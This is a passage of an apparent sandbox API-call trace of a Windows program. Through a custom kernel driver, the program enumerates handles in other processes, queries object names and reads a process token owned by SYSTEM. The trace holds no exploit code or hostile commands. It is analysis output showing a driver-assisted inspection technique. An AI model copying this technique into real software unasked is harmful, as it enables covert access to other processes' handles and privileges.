Object=0xfffff88005000548*=0xfffffa8003006f20, HandleInformation=0x0) returned 0x0 [0131.571] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.571] PsReleaseProcessExitSynchronization () returned 0x2 [0131.571] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.571] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.571] ObfDereferenceObject (Object=0xfffffa8003006f20) returned 0x1 [0131.571] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.571] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.571] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.571] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0131.571] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.571] PsAcquireProcessExitSynchronization () returned 0x0 [0131.571] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.571] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003047790, HandleInformation=0x0) returned 0x0 [0131.571] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.571] PsReleaseProcessExitSynchronization () returned 0x2 [0131.571] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.571] ObQueryNameString (in: Object=0xfffffa8003047790, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.572] ObfDereferenceObject (Object=0xfffffa8003047790) returned 0x1 [0131.572] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.572] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.572] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.572] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0131.572] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.572] PsAcquireProcessExitSynchronization () returned 0x0 [0131.572] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.572] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003049f20, HandleInformation=0x0) returned 0x0 [0131.572] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.572] PsReleaseProcessExitSynchronization () returned 0x2 [0131.572] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.572] ObQueryNameString (in: Object=0xfffffa8003049f20, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.572] ObfDereferenceObject (Object=0xfffffa8003049f20) returned 0x2 [0131.572] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.572] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.572] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.572] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0131.572] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.572] PsAcquireProcessExitSynchronization () returned 0x0 [0131.572] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.572] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003049dd0, HandleInformation=0x0) returned 0x0 [0131.572] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.572] PsReleaseProcessExitSynchronization () returned 0x2 [0131.572] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.572] ObQueryNameString (in: Object=0xfffffa8003049dd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.572] ObfDereferenceObject (Object=0xfffffa8003049dd0) returned 0x1 [0131.572] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.572] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.572] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.573] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.573] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.573] PsAcquireProcessExitSynchronization () returned 0x0 [0131.573] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.573] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030c2490, HandleInformation=0x0) returned 0x0 [0131.573] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.573] PsReleaseProcessExitSynchronization () returned 0x2 [0131.573] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.573] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.573] ObfDereferenceObject (Object=0xfffffa80030c2490) returned 0x1 [0131.573] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.573] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.573] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.573] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.573] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.573] PsAcquireProcessExitSynchronization () returned 0x0 [0131.573] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.573] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f7dd0, HandleInformation=0x0) returned 0x0 [0131.573] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.573] PsReleaseProcessExitSynchronization () returned 0x2 [0131.573] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.573] ObQueryNameString (in: Object=0xfffffa80030f7dd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.573] ObfDereferenceObject (Object=0xfffffa80030f7dd0) returned 0x2 [0131.573] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.573] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.574] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.574] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.574] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.574] PsAcquireProcessExitSynchronization () returned 0x0 [0131.574] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.574] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030fb070, HandleInformation=0x0) returned 0x0 [0131.574] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.574] PsReleaseProcessExitSynchronization () returned 0x2 [0131.574] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.574] ObQueryNameString (in: Object=0xfffffa80030fb070, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.574] ObfDereferenceObject (Object=0xfffffa80030fb070) returned 0x2 [0131.574] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.574] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.574] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.574] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0131.574] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.574] PsAcquireProcessExitSynchronization () returned 0x0 [0131.574] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.574] ObReferenceObjectByHandle (in: Handle=0x134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030fc6b0, HandleInformation=0x0) returned 0x0 [0131.574] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.574] PsReleaseProcessExitSynchronization () returned 0x2 [0131.574] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.574] ObQueryNameString (in: Object=0xfffffa80030fc6b0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.574] ObfDereferenceObject (Object=0xfffffa80030fc6b0) returned 0x2 [0131.574] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.574] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.574] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.574] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.574] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.574] PsAcquireProcessExitSynchronization () returned 0x0 [0131.575] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.575] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030ff790, HandleInformation=0x0) returned 0x0 [0131.575] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.575] PsReleaseProcessExitSynchronization () returned 0x2 [0131.575] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.575] ObQueryNameString (in: Object=0xfffffa80030ff790, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.575] ObfDereferenceObject (Object=0xfffffa80030ff790) returned 0x2 [0131.575] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.575] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.575] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.575] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.575] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.575] PsAcquireProcessExitSynchronization () returned 0x0 [0131.575] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.575] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003100070, HandleInformation=0x0) returned 0x0 [0131.575] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.575] PsReleaseProcessExitSynchronization () returned 0x2 [0131.575] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0131.575] ObQueryNameString (in: Object=0xfffffa8003100070, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.575] ObfDereferenceObject (Object=0xfffffa8003100070) returned 0x2 [0131.575] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.575] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.575] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0xc0 [0131.575] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.575] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80018ba540, HandleInformation=0x0) returned 0x0 [0131.575] ObOpenObjectByPointer (in: Object=0xfffffa80018ba540, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0131.575] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0131.575] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa800289e880 | out: TokenHandle=0xfffffa800289e880*=0xc8) returned 0x0 [0131.575] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0131.575] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.576] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.576] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.578] CloseHandle (hObject=0xc8) returned 1 [0131.578] CloseHandle (hObject=0xc0) returned 1 [0131.578] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.578] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.578] PsAcquireProcessExitSynchronization () returned 0x0 [0131.578] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.578] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003011f20, HandleInformation=0x0) returned 0x0 [0131.578] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.578] PsReleaseProcessExitSynchronization () returned 0x2 [0131.578] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.578] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.578] ObfDereferenceObject (Object=0xfffffa8003011f20) returned 0x1 [0131.578] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.578] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.578] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0131.578] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.578] PsAcquireProcessExitSynchronization () returned 0x0 [0131.578] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.578] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004ab7f60, HandleInformation=0x0) returned 0x0 [0131.579] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.579] PsReleaseProcessExitSynchronization () returned 0x2 [0131.579] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.579] ObQueryNameString (in: Object=0xfffff8a004ab7f60, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.579] ObfDereferenceObject (Object=0xfffff8a004ab7f60) returned 0x2 [0131.579] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.579] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.579] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0131.579] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.579] PsAcquireProcessExitSynchronization () returned 0x0 [0131.579] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.579] ObReferenceObjectByHandle (in: Handle=0xb4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030564e0, HandleInformation=0x0) returned 0x0 [0131.579] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.579] PsReleaseProcessExitSynchronization () returned 0x2 [0131.579] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.579] ObQueryNameString (in: Object=0xfffffa80030564e0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.579] ObfDereferenceObject (Object=0xfffffa80030564e0) returned 0x2 [0131.579] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.579] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.579] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0131.579] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.579] PsAcquireProcessExitSynchronization () returned 0x0 [0131.579] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.579] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003097c00, HandleInformation=0x0) returned 0x0 [0131.579] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.580] PsReleaseProcessExitSynchronization () returned 0x2 [0131.580] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.580] ObQueryNameString (in: Object=0xfffffa8003097c00, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.580] ObfDereferenceObject (Object=0xfffffa8003097c00) returned 0x2 [0131.580] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.580] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.580] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.580] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.580] PsAcquireProcessExitSynchronization () returned 0x0 [0131.580] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.580] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0018a4c90, HandleInformation=0x0) returned 0x0 [0131.580] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.580] PsReleaseProcessExitSynchronization () returned 0x2 [0131.580] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.580] ObQueryNameString (in: Object=0xfffff8a0018a4c90, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: 